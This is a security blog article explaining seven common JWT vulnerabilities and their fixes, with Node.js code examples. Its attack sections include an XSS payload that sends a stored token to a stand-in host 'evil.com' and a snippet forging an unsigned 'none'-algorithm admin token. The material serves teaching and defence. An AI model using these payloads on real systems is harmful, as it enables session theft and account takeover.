FuntranslatorCreate Fun Language Translations
Free
Back to Blog
February 1, 202611 min read

Common JWT Vulnerabilities and How to Prevent Them

Learn about the most common JWT security vulnerabilities including algorithm confusion, weak secrets, and token leaks. Includes prevention strategies and code examples.

JWTs are widely used for authentication, but improper implementation can lead to serious security vulnerabilities. This guide covers the most common JWT attacks and how to prevent them.

1. Algorithm Confusion Attack

One of the most dangerous JWT vulnerabilities occurs when an application doesn't properly verify the algorithm in the token header.

The Attack

An attacker changes the algorithm from RS256 (asymmetric) to HS256 (symmetric) and signs the token using the public key as the HMAC secret. If the server uses the same key material for both algorithms, the forged signature will be accepted.

// Attacker's token header (modified)
{
  "alg": "HS256",  // Changed from RS256
  "typ": "JWT"
}

// Vulnerable verification
const decoded = jwt.verify(token, publicKey);  // No algorithm check!

Prevention

Always specify the expected algorithms explicitly:

// SECURE: Specify allowed algorithms
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // Only accept RS256
});

2. Weak Secret Key

HS256 tokens signed with weak passwords are vulnerable to brute-force or dictionary attacks. Attackers can crack weak secrets in minutes or hours.

The Attack

Using tools like hashcat or jwt_tool, attackers can brute-force weak secrets:

Weak secrets cracked in seconds:

  • "secret"
  • "password123"
  • "myapp"
  • "12345678"

Prevention

Use cryptographically secure random secrets of at least 256 bits:

const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');
// Result: 64-character hex string (256 bits of entropy)

Generate a secure JWT secret using our free tool.

3. "none" Algorithm Attack

The "none" algorithm indicates an unsigned token. Some JWT libraries accept these by default, allowing attackers to forge tokens without any signature.

The Attack

// Attacker creates unsigned token
const header = btoa(JSON.stringify({alg: 'none', typ: 'JWT'}));
const payload = btoa(JSON.stringify({sub: 'admin', role: 'superuser'}));
const forgedToken = header + '.' + payload + '.';  // Empty signature

// Vulnerable: Library accepts 'none' algorithm
const decoded = jwt.verify(forgedToken, null);  // Admin access granted!

Prevention

// SECURE: Reject 'none' algorithm
const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256', 'RS256'],  // Explicit allowlist
  ignoreExpiration: false
});

// Or configure globally
jwt.options.algorithms = ['HS256', 'RS256'];

4. Token Leak via URL

JWTs sent in URL parameters can leak through browser history, server logs, and referrer headers.

The Problem

// BAD: Token in URL
GET /api/users?token=eyJhbGciOiJIUzI1NiIs...

// This leaks to:
// - Browser history
// - Server access logs
// - Analytics tools
// - Referrer headers when clicking external links

Prevention

Always send tokens in HTTP headers:

// GOOD: Token in Authorization header
fetch('/api/users', {
  headers: {
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...'
  }
});

5. Token Sidejacking (XSS)

JWTs stored in localStorage are accessible to JavaScript, making them vulnerable to cross-site scripting (XSS) attacks.

The Attack

// Attacker's XSS payload
fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt_token'));

// Token is exfiltrated to attacker's server

Prevention

Store tokens in HttpOnly cookies (server sets the cookie):

// Server sets HttpOnly cookie
res.cookie('jwt', token, {
  httpOnly: true,     // Not accessible to JavaScript
  secure: true,       // Only sent over HTTPS
  sameSite: 'strict', // CSRF protection
  maxAge: 3600000     // 1 hour
});

6. Missing Expiration Validation

Tokens without proper expiration checking remain valid indefinitely.

The Attack

Stolen tokens can be used indefinitely if expiration isn't enforced.

Prevention

// Always include exp claim
const token = jwt.sign(payload, secret, {
  expiresIn: '1h'  // Token expires in 1 hour
});

// Always verify expiration
const decoded = jwt.verify(token, secret, {
  ignoreExpiration: false  // Default, but explicit is better
});

7. Information Disclosure in Payload

JWT payloads are Base64-encoded, not encrypted. Anyone can decode them.

The Problem

// BAD: Sensitive data in payload
const payload = {
  sub: '123',
  email: 'user@example.com',
  ssn: '123-45-6789',      // NO!
  password_hash: '...',     // NO!
  credit_card: '4111...'    // NO!
};

Prevention

Only include non-sensitive identifiers:

// GOOD: Minimal payload
const payload = {
  sub: '123',
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 3600
};

For sensitive data, use JWE (JSON Web Encryption) or fetch from your API.

Vulnerability Checklist

VulnerabilityCheckStatus
Algorithm confusionExplicit algorithm allowlist in verify()☑️
Weak secret256+ bit random secret☑️
"none" algorithmReject unsigned tokens☑️
Token in URLUse Authorization header☑️
XSS sidejackingHttpOnly cookies☑️
No expirationAlways set and verify exp☑️
Sensitive payloadOnly include user ID☑️

Testing Your Implementation

Use these tools to test your JWT implementation:

Summary

JWT security depends on proper implementation. Key takeaways:

  1. Always specify allowed algorithms when verifying
  2. Use strong, randomly-generated secrets
  3. Never use "none" algorithm
  4. Send tokens in headers, not URLs
  5. Store tokens in HttpOnly cookies
  6. Always set and verify expiration
  7. Keep payloads minimal

Related Articles

HS256 vs RS256: Which JWT Algorithm Should You Use?

Deep comparison of HMAC (HS256) and RSA (RS256) JWT signing algorithms. Learn when to use each, security implications, and implementation best practices.

Read Article

JWT Best Practices Checklist (Copy/Paste for Production)

A comprehensive checklist of JWT security best practices for production applications. Copy and paste to ensure your JWT implementation is secure.

Read Article